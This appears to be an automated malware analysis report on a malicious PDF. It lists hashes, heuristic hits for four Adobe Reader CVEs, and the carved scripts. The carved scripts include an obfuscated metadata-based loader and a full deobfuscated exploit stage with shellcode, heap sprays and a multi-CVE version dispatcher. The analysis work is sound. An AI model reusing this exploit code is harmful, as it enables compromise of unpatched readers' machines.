Malicious PDF — malware analysis report

Static analysis result for SHA-256 95a60c3771dec750…

MALICIOUS

PDF

12.0 KB Created: 2010-07-25 10:32:51 First seen: 2013-02-25
MD5: 4664567811ed01a33429d45f3cb4996d SHA-1: fe1ef30a47c352b0c5d41d46fa783f026c8467ff SHA-256: 95a60c3771dec75024b9f3643fc7a4a7f7d8270f8708e1ffc01b09f29812a4f8
388 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • PDF /Producer character-range JavaScript stager high PDF_INFO_PRODUCER_CHAR_RANGE_JS_STAGER
    PDF metadata hides JavaScript in /Producer as character ranges plus a long numeric index table. The document JavaScript rebuilds an alphabet from those ranges, maps the indexes into characters, and evals the recovered exploit stage. The decoder is bounded and only fires when the recovered stage contains exploit-like Acrobat JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C67 457 bytes
SHA-256: 975659b58bcad3d4c9a4de79abb55078683473e6982169479f1458a8c4b92532
Preview script
First 1,000 lines of the extracted script
var hxre = this, rs=50;
var vh = new Date(), sgl='', xag='Char', ooa = ('e'+vh.getFullYear()+'l').replace('2010','va');
var pip='',vrx=hxre[ooa], lg=[], cl='pro'+pip+'duc'+pip+'er';
vrx('var oqy=String.from'+xag+'Code, al=' + hxre[cl].substring(0,rs) + ',yt=' + hxre[cl].substring(rs));
for(hlh in al) for(var qers=al[hlh][0];qers < al[hlh][1];qers++) lg.push(oqy(qers));
for (var qers = 0; qers < yt.length; qers++) sgl+=lg[yt[qers]];
vrx(sgl);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C67 99 bytes
SHA-256: 966f8d118bd0d3025b9e88848772d500929378f8588d9b3d65c6576201ae6893
Preview script
First 1,000 lines of the extracted script
var hxre = this, rs=50;
var vh = new Date(), sgl='', xag='Char', ooa = ('e'+vh.getFullYear()+'l'
producer_char_range_stage_000.js deobfuscated-js PDF /Info Producer char-range indexed JavaScript at offset 0x19A 3626 bytes
SHA-256: bfe6d7d8932c1ee100c75015058daf9c47d12b8378e8b891b7d29ff6e57b278d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ms='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4e34%ue2aa%uc3fa%ue5e8%uffff%ua7ff%u4f42%u4e4e%ucf10%u12a2%u4e4f%uc74e%uc3a9%u5e01%u21c3%u7f1a%u1995%u1d1f%u1d1d%u1d1d%u1d1d%u1d1b%u261d%u4f4a%u4e4e%u181b%u261d%u2021%u4e4e%u3b26%u223c%u1a23%uc026%u4000%ua6a2%u4e06%u4e4e%ua61e%u4e32%u4e4e%u9eb1%u8acd%u2646%ua101%u4b01%ua61e%u4e22%u4e4e%u9eb1%u8ecb%u593b%u1a24%ubd17%u26e4%ub03c%u58fd%u53a6%u4e4e%u1e4e%u1fa6%u4e4e%ub14e%u1d9e%ub024%uc726%u4f21%ua6f3%u4e46%u4e4e%ua61e%u4e72%u4e4e%u9eb1%u7f2e%u2a8e%u1ec5%uc57e%u421c%u1cc5%uc55a%u663c%u56f7%u4e4e%u7f4e%u7fb1%ue28e%u2f72%u4c32%u6e62%u818f%u4f43%uac89%ucfbe%u15b1%u04f2%uc524%u5e0c%u5cc5%u973b%u0ac7%u526a%u8d2f%uc52e%u6a22%uc56a%u720b%u1ac5%u364b%ua44f%u04c5%uc556%u6e14%ua54f%u7aad%uc507%uc57a%ua04f%ub17f%u8e7f%ue2b2%u8eca%u493a%u818f%u4f43%ua589%u75ba%u6a32%u3b66%uc5af%u6a14%ua54f%uc528%u0542%u14c5%u4f52%uc5a5%uc54a%ua64f%u0ac7%u526a%u8c2f%u4e46%ua1a6%ub1b0%u26b1%u3a3a%u743e%u6161%u2120%u7d2a%u3b7c%u2a3e%u3a2f%u602b%u2027%u2a61%u3e60%u3e26%u2871%u7f73%u6879%u732b%u4e7f';function motk(tdvu,th){while(tdvu.length*2<th){tdvu+=tdvu;}
tdvu=tdvu.substring(0,th/2);return tdvu;}
function snx(){var cwx=new Array();var sfkq=0x0c0c0c0c;var addr=0x400000;var payload=unescape(ms);var sc_len=payload.length*2;var th=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=motk(yarsp,th);var count2=(sfkq-0x400000)/addr;for(var count=0;count<count2;count++){cwx[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(ms);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(ms);var hWq500CN=payload.length*2;var th=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=motk(yarsp,th);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){snx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(ms);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.